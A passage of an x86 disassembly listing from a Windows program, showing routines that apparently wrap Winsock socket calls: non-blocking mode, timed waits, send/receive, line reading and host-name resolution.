loc_41A889:				; CODE XREF: sub_41A780+FAj
		mov	esi, [esp+128h+arg_0]
		lea	ecx, [esp+128h+var_120]
		push	ecx
		mov	ecx, esi
		call	sub_4020EA
		mov	dl, [esp+128h+arg_8]
		pop	edi
		mov	[esi+80Dh], dl
		mov	al, 1
		pop	esi
		add	esp, 120h
		retn	0Ch
sub_41A780	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A910	proc near		; CODE XREF: sub_4020EAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax]
		mov	[ecx+806h], edx
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		setnz	al
		mov	[ecx+80Bh], al
		retn	4
sub_41A910	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A940	proc near		; CODE XREF: sub_401960j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	0
		push	edx
		push	eax
		call	sub_401B3B
		retn	0Ch
sub_41A940	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A970	proc near		; CODE XREF: sub_401B3Bj

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 210h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		cmp	dword ptr [esi+806h], 0FFFFFFFFh
		jz	loc_41AAD4
		mov	al, [esi+80Bh]
		test	al, al
		jz	loc_41AAD4
		mov	edi, dword_50F8A4
		call	edi
		mov	ebp, eax
		mov	al, [esi+80Dh]
		test	al, al
		jnz	loc_41AA6C
		mov	ebx, [esp+220h+arg_8]
		test	ebx, ebx
		jz	loc_41AA6C
		call	sub_40195B
		test	al, al
		jz	loc_41AA6C


loc_41A9CB:				; CODE XREF: sub_41A970+F6j
		mov	eax, [esi+806h]
		mov	ecx, 1
		mov	[esp+220h+var_100], eax
		mov	[esp+220h+var_104], ecx
		mov	[esp+220h+var_204], eax
		mov	[esp+220h+var_208], ecx
		mov	[esp+220h+var_210], 0
		mov	[esp+220h+var_20C], 64h
		call	edi
		sub	eax, ebp
		cmp	eax, ebx
		ja	loc_41AAD4
		lea	eax, [esp+220h+var_210]
		lea	ecx, [esp+220h+var_208]
		push	eax
		mov	eax, [esi+806h]
		push	ecx
		lea	edx, [esp+228h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jz	short loc_41AA5F
		mov	edx, [esi+806h]
		lea	ecx, [esp+220h+var_208]
		push	ecx
		push	edx
		call	sub_437000
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	loc_41AAD4
		mov	ecx, [esi+806h]
		lea	eax, [esp+220h+var_104]
		push	eax
		push	ecx
		call	sub_437000
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41AA6C


loc_41AA5F:				; CODE XREF: sub_41A970+BCj
		call	sub_40195B
		test	al, al
		jnz	loc_41A9CB


loc_41AA6C:				; CODE XREF: sub_41A970+39j
					; sub_41A970+48j ...
		call	sub_40195B
		test	al, al
		jz	short loc_41AAD4
		mov	edx, [esp+220h+arg_4]
		mov	eax, [esp+220h+arg_0]
		mov	ecx, [esi+806h]
		push	0
		push	edx
		push	eax
		push	ecx
		call	near ptr 71AB615Ah
		nop
		mov	ecx, [esp+220h+arg_C]
		test	ecx, ecx
		jz	short loc_41AAA1
		mov	[ecx], eax


loc_41AAA1:				; CODE XREF: sub_41A970+12Dj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AAB9
		test	eax, eax
		jz	short loc_41AAB9
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AAB9:				; CODE XREF: sub_41A970+134j
					; sub_41A970+138j
		nop
		call	near ptr 71AB94DCh
		pop	edi
		cmp	eax, 2733h
		pop	esi
		pop	ebp
		setz	al
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AAD4:				; CODE XREF: sub_41A970+13j
					; sub_41A970+21j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 210h
		retn	10h
sub_41A970	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AB50:				; CODE XREF: ___:00401618j
		mov	eax, [ecx+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABA1
		mov	dl, [ecx+80Bh]
		test	dl, dl
		jz	short loc_41ABA1
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	0
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [esp+0Ch]
		test	ecx, ecx
		jz	short loc_41AB82
		mov	[ecx], eax


loc_41AB82:				; CODE XREF: ___:0041AB7Ej
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AB90
		test	eax, eax
		jz	short loc_41AB90
		mov	al, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41AB90:				; CODE XREF: ___:0041AB85j
					; ___:0041AB89j
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		setz	al
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41ABA1:				; CODE XREF: ___:0041AB59j
					; ___:0041AB63j
		xor	al, al
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ABD0:				; CODE XREF: ___:004019B0j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40195B
		test	al, al
		jnz	short loc_41ABEC
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41ABEC:				; CODE XREF: ___:0041ABE2j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AC02


loc_41ABF8:				; CODE XREF: ___:0041AC3Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC02:				; CODE XREF: ___:0041ABF6j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41AC66
		mov	edi, ebp


loc_41AC1B:				; CODE XREF: ___:0041AC64j
		cmp	edi, ebx
		jz	short loc_41AC66
		cmp	[esp+18h], bl
		jz	short loc_41AC66
		call	sub_40195B
		test	al, al
		jz	short loc_41AC66
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_401960
		test	al, al
		jz	short loc_41ABF8
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41AC51
		cmp	al, 0Dh
		jz	short loc_41AC51
		cmp	al, bl
		jnz	short loc_41AC59


loc_41AC51:				; CODE XREF: ___:0041AC47j
					; ___:0041AC4Bj
		mov	[esi+ebp-1], bl
		mov	[esp+18h], bl


loc_41AC59:				; CODE XREF: ___:0041AC4Fj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AC1B


loc_41AC66:				; CODE XREF: ___:0041AC17j
					; ___:0041AC1Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ACB0:				; CODE XREF: ___:00402180j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40195B
		test	al, al
		jnz	short loc_41ACCC
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41ACCC:				; CODE XREF: ___:0041ACC2j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41ACE2


loc_41ACD8:				; CODE XREF: ___:0041AD1Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41ACE2:				; CODE XREF: ___:0041ACD6j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41AD4D
		mov	edi, ebp


loc_41ACFB:				; CODE XREF: ___:0041AD4Bj
		cmp	edi, ebx
		jz	short loc_41AD4D
		cmp	[esp+18h], bl
		jz	short loc_41AD4D
		call	sub_40195B
		test	al, al
		jz	short loc_41AD4D
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_401960
		test	al, al
		jz	short loc_41ACD8
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41AD2D
		cmp	al, bl
		jnz	short loc_41AD40


loc_41AD2D:				; CODE XREF: ___:0041AD27j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41AD3A
		mov	[esi+ebp-1], bl
		jmp	short loc_41AD3C
; ---------------------------------------------------------------------------


loc_41AD3A:				; CODE XREF: ___:0041AD32j
		mov	[edi], bl


loc_41AD3C:				; CODE XREF: ___:0041AD38j
		mov	[esp+18h], bl


loc_41AD40:				; CODE XREF: ___:0041AD2Bj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41ACFB


loc_41AD4D:				; CODE XREF: ___:0041ACF7j
					; ___:0041ACFDj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AD90:				; CODE XREF: ___:00401082j
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41ADA2
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41ADA2:				; CODE XREF: ___:0041AD9Aj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41ADB3
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41ADB3:				; CODE XREF: ___:0041ADABj
		mov	ecx, [esp+0Ch]
		mov	edx, [esp+8]
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AB951Eh
		nop
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41ADE0	proc near		; CODE XREF: sub_401893j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41ADF2
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41ADF2:				; CODE XREF: sub_41ADE0+Aj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AE03
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AE03:				; CODE XREF: sub_41ADE0+1Bj
		mov	ecx, [esp+4+arg_4]
		mov	edx, [esp+4+arg_0]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC0B50h
		pop	esi
		retn	8
sub_41ADE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AE30:				; CODE XREF: ___:00401C3Fj
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		mov	al, [esi+80Ch]
		cmp	al, cl
		mov	eax, [esi+806h]
		jnz	short loc_41AE6F
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AE65
		cmp	[esi+80Bh], cl
		jz	short loc_41AE65
		mov	eax, 1
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AE65:				; CODE XREF: ___:0041AE4Ej
					; ___:0041AE56j
		xor	eax, eax
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AE6F:				; CODE XREF: ___:0041AE49j
		lea	edx, [esp+4]
		mov	[esp+10h], eax
		push	edx
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jnz	short loc_41AEA5
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEA5:				; CODE XREF: ___:0041AE99j
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_437000
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AF00:				; CODE XREF: ___:004016E5j
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		cmp	[esi+80Ch], cl
		jnz	short loc_41AF1D
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AF1D:				; CODE XREF: ___:0041AF11j
		mov	eax, [esi+806h]
		lea	edx, [esp+4]
		push	edx
		lea	edx, [esp+10h]
		mov	[esp+14h], eax
		push	edx
		push	ecx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jnz	short loc_41AF59
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AF59:				; CODE XREF: ___:0041AF4Dj
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_437000
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AFA0:				; CODE XREF: ___:0040173Aj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, ecx
		push	800h
		lea	edx, [esi+6]
		mov	ax, [edi+4]
		lea	ecx, [edi+6]
		push	ecx
		push	edx
		mov	[esi+4], ax
		nop
		call	near ptr 77C47A90h
		xor	al, al
		add	esp, 0Ch
		mov	dword ptr [esi+806h], 0FFFFFFFFh
		mov	[esi+80Ch], al
		mov	[esi+80Bh], al
		mov	al, [edi+80Dh]
		mov	[esi+80Dh], al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B010	proc near		; CODE XREF: sub_4018BBj

arg_0		= dword	ptr  4

		mov	al, byte ptr [esp+arg_0]
		test	al, al
		mov	[ecx+80Ch], al
		jz	short loc_41B040
		mov	ecx, [ecx+806h]
		lea	eax, [esp+arg_0]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+0Ch+arg_0], 1
		nop
		call	near ptr 71AB4519h
		retn	4
; ---------------------------------------------------------------------------


loc_41B040:				; CODE XREF: sub_41B010+Cj
		mov	eax, [ecx+806h]
		lea	edx, [esp+arg_0]
		push	edx
		push	8004667Eh
		push	eax
		mov	[esp+0Ch+arg_0], 0
		call	near ptr 71AB4519h
		nop
		retn	4
sub_41B010	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B090	proc near		; CODE XREF: sub_401186j
		push	esi
		mov	esi, ecx
		push	0
		lea	ecx, [esi+4]
		call	sub_401C35
		mov	dword ptr [esi], offset	off_43E0C0
		mov	eax, esi
		pop	esi
		retn
sub_41B090	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B0C0	proc near		; CODE XREF: ___:00401915j sub_401E74j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40186B
		test	[esp+4+arg_0], 1
		jz	short loc_41B0D8
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B0D8:				; CODE XREF: sub_41B0C0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B0C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B0F0	proc near		; CODE XREF: sub_40186Bj
		mov	dword ptr [ecx], offset	off_43E0C0
		add	ecx, 4
		jmp	sub_401FC8
sub_41B0F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B110	proc near		; CODE XREF: sub_401636j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	sub_40195B
		test	al, al
		jnz	short loc_41B122
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B122:				; CODE XREF: sub_41B110+9j
		mov	esi, [esp+8+arg_0]
		push	esi
		call	near ptr 71AB2BF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B175
		push	esi
		nop
		call	near ptr 71AB4FD4h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41B147
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B147:				; CODE XREF: sub_41B110+2Dj
		mov	eax, [edi+0Ch]
		xor	esi, esi
		cmp	dword ptr [eax], 0
		jz	short loc_41B15C


loc_41B151:				; CODE XREF: sub_41B110+4Aj
		mov	ecx, [eax+4]
		add	eax, 4
		inc	esi
		test	ecx, ecx
		jnz	short loc_41B151


loc_41B15C:				; CODE XREF: sub_41B110+3Fj
		call	sub_401EEC
		dec	esi
		push	esi
		push	0
		call	sub_4021A3
; ---------------------------------------------------------------------------
		mov	ecx, [edi+0Ch]
		add	esp, 8
		mov	edx, [ecx+eax*4]
		mov	eax, [edx]


loc_41B175:				; CODE XREF: sub_41B110+20j
		pop	edi
		pop	esi
		retn	4
sub_41B110	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B1A0:				; CODE XREF: ___:00402095j
		push	0FFFFFFFFh
		push	offset loc_43ADA7
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	[esp+0Ch], ebx
		call	sub_40195B
		test	al, al
		jnz	short loc_41B1DF
		mov	eax, [esp+58h]
		mov	esi, [esp+54h]
		push	eax
		mov	ecx, esi
		call	sub_401861
		jmp	loc_41B38B
; ---------------------------------------------------------------------------


loc_41B1DF:				; CODE XREF: ___:0041B1C8j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+30h]
		call	sub_401861
		mov	edi, 1
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], edi
		call	sub_4017E4
		test	eax, eax
		push	offset byte_446F30
		jnz	short loc_41B21C
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401861
		mov	[esp+0Ch], edi
		jmp	loc_41B37E
; ---------------------------------------------------------------------------


loc_41B21C:				; CODE XREF: ___:0041B206j
		lea	ecx, [esp+30h]
		call	sub_4012EE
		test	eax, eax
		push	offset byte_446F30
		jnz	short loc_41B242
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401861
		mov	[esp+0Ch], edi
		jmp	loc_41B37E
; ---------------------------------------------------------------------------


loc_41B242:				; CODE XREF: ___:0041B22Cj
		lea	ecx, [esp+18h]
		call	sub_401861
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		push	ebx
		push	ebx
		push	0Fh
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+60h], 2
		call	sub_4017E4
		push	eax
		call	sub_437066
; ---------------------------------------------------------------------------
		cmp	eax, ebx
		jz	short loc_41B286
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+0Ch], edi
		jmp	loc_41B370
; ---------------------------------------------------------------------------


loc_41B286:				; CODE XREF: ___:0041B26Bj
		mov	edi, [esp+10h]
		mov	esi, offset dword_4437F8
		mov	ecx, [edi]
		mov	eax, [ecx+4]


loc_41B294:				; CODE XREF: ___:0041B2B2j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B2B8
		cmp	cl, bl
		jz	short loc_41B2B4
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B2B8
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B294


loc_41B2B4:				; CODE XREF: ___:0041B29Ej
		xor	eax, eax
		jmp	short loc_41B2BD
; ---------------------------------------------------------------------------


loc_41B2B8:				; CODE XREF: ___:0041B29Aj
					; ___:0041B2A8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B2BD:				; CODE XREF: ___:0041B2B6j
		cmp	eax, ebx
		jz	short loc_41B32B
		push	ebp


loc_41B2C2:				; CODE XREF: ___:0041B315j
					; ___:0041B319j
		nop
		call	near ptr 2870914h
		and	eax, 0Fh
		cmp	al, 8
		jnz	short loc_41B2D6
		cmp	word ptr [edi+8], 0Fh
		jz	short loc_41B31B


loc_41B2D6:				; CODE XREF: ___:0041B2CDj
		mov	edi, [edi]
		mov	ebp, [esp+14h]
		cmp	edi, ebx
		jnz	short loc_41B2E2
		mov	edi, ebp


loc_41B2E2:				; CODE XREF: ___:0041B2DEj
		mov	eax, [edi+4]
		mov	esi, offset dword_4437F8


loc_41B2EA:				; CODE XREF: ___:0041B308j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B30E
		cmp	cl, bl
		jz	short loc_41B30A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B30E
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B2EA


loc_41B30A:				; CODE XREF: ___:0041B2F4j
		xor	eax, eax
		jmp	short loc_41B313
; ---------------------------------------------------------------------------


loc_41B30E:				; CODE XREF: ___:0041B2F0j
					; ___:0041B2FEj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B313:				; CODE XREF: ___:0041B30Cj
		cmp	eax, ebx
		jnz	short loc_41B2C2
		mov	edi, ebp
		jmp	short loc_41B2C2
; ---------------------------------------------------------------------------


loc_41B31B:				; CODE XREF: ___:0041B2D4j
		mov	eax, [edi+18h]
		lea	ecx, [esp+18h]
		push	eax
		call	sub_4015D7
		pop	ebp
		jmp	short loc_41B338
; ---------------------------------------------------------------------------


loc_41B32B:				; CODE XREF: ___:0041B2BFj
		mov	ecx, [edi+18h]
		push	ecx
		lea	ecx, [esp+18h]
		call	sub_4015D7


loc_41B338:				; CODE XREF: ___:0041B329j
		push	offset byte_446F30
		lea	ecx, [esp+18h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41B358
		mov	edx, [esp+58h]
		lea	ecx, [esp+14h]
		push	edx
		call	sub_4015D7


loc_41B358:				; CODE XREF: ___:0041B348j
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		mov	dword ptr [esp+0Ch], 1


loc_41B370:				; CODE XREF: ___:0041B281j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+4Ch], 1
		call	sub_401226


loc_41B37E:				; CODE XREF: ___:0041B217j
					; ___:0041B23Dj
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], bl
		call	sub_401226


loc_41B38B:				; CODE XREF: ___:0041B1DAj
		mov	ecx, [esp+44h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	8
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B440:				; CODE XREF: ___:00402135j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C35
		mov	dword ptr [esi], offset	off_43E0C4
		mov	dword ptr [esi+11h], 0
		mov	dword ptr [esi+823h], 0
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B480	proc near		; CODE XREF: sub_4013FCj ___:00402018j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BCC
		test	[esp+4+arg_0], 1
		jz	short loc_41B498
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B498:				; CODE XREF: sub_41B480+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B480	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B4B0	proc near		; CODE XREF: sub_401BCCj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41B4B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401FC8
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41B4B0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B520:				; CODE XREF: ___:00401D3Ej
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C35
		mov	eax, [esp+8]
		mov	ecx, [esp+0Ch]
		mov	[esi+11h], eax
		mov	dword ptr [esi], offset	off_43E0C4
		mov	[esi+823h], ecx
		mov	eax, esi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B560	proc near		; CODE XREF: sub_40167Cj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 14h
		push	edi
		mov	edi, ecx
		mov	eax, [edi+11h]
		test	eax, eax
		jz	loc_41B670
		mov	ecx, [edi+823h]
		test	ecx, ecx
		jz	loc_41B670
		push	ebx
		push	ebp
		lea	ebx, [edi+15h]
		push	esi
		push	eax
		mov	ecx, ebx
		xor	esi, esi
		call	sub_401488
		mov	ebp, dword_50F8D0
		test	al, al
		jnz	short loc_41B5C3


loc_41B599:				; CODE XREF: sub_41B560+61j
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B65F
		mov	al, byte_4E6E44
		test	al, al
		jz	short loc_41B5C3
		push	7D0h
		call	ebp
		mov	eax, [edi+11h]
		mov	ecx, ebx
		push	eax
		call	sub_401488
		test	al, al
		jz	short loc_41B599


loc_41B5C3:				; CODE XREF: sub_41B560+37j
					; sub_41B560+4Bj
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B65F


loc_41B5CE:				; CODE XREF: sub_41B560+F9j
		mov	al, byte_4E6E44
		test	al, al
		jz	loc_41B65F
		test	esi, esi
		jnz	short loc_41B5FE
		push	80Eh
		call	sub_43689A
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_41B5FA
		push	esi
		mov	ecx, eax
		call	sub_401C35
		jmp	short loc_41B5FC
; ---------------------------------------------------------------------------


loc_41B5FA:				; CODE XREF: sub_41B560+8Ej
		xor	eax, eax


loc_41B5FC:				; CODE XREF: sub_41B560+98j
		mov	esi, eax


loc_41B5FE:				; CODE XREF: sub_41B560+7Dj
		push	0
		push	0
		push	esi
		mov	ecx, ebx
		call	sub_401B81
		test	al, al
		jnz	short loc_41B617
		push	7D0h
		call	ebp
		jmp	short loc_41B654
; ---------------------------------------------------------------------------


loc_41B617:				; CODE XREF: sub_41B560+ACj
		xor	ecx, ecx
		lea	edx, [esp+24h+var_14]
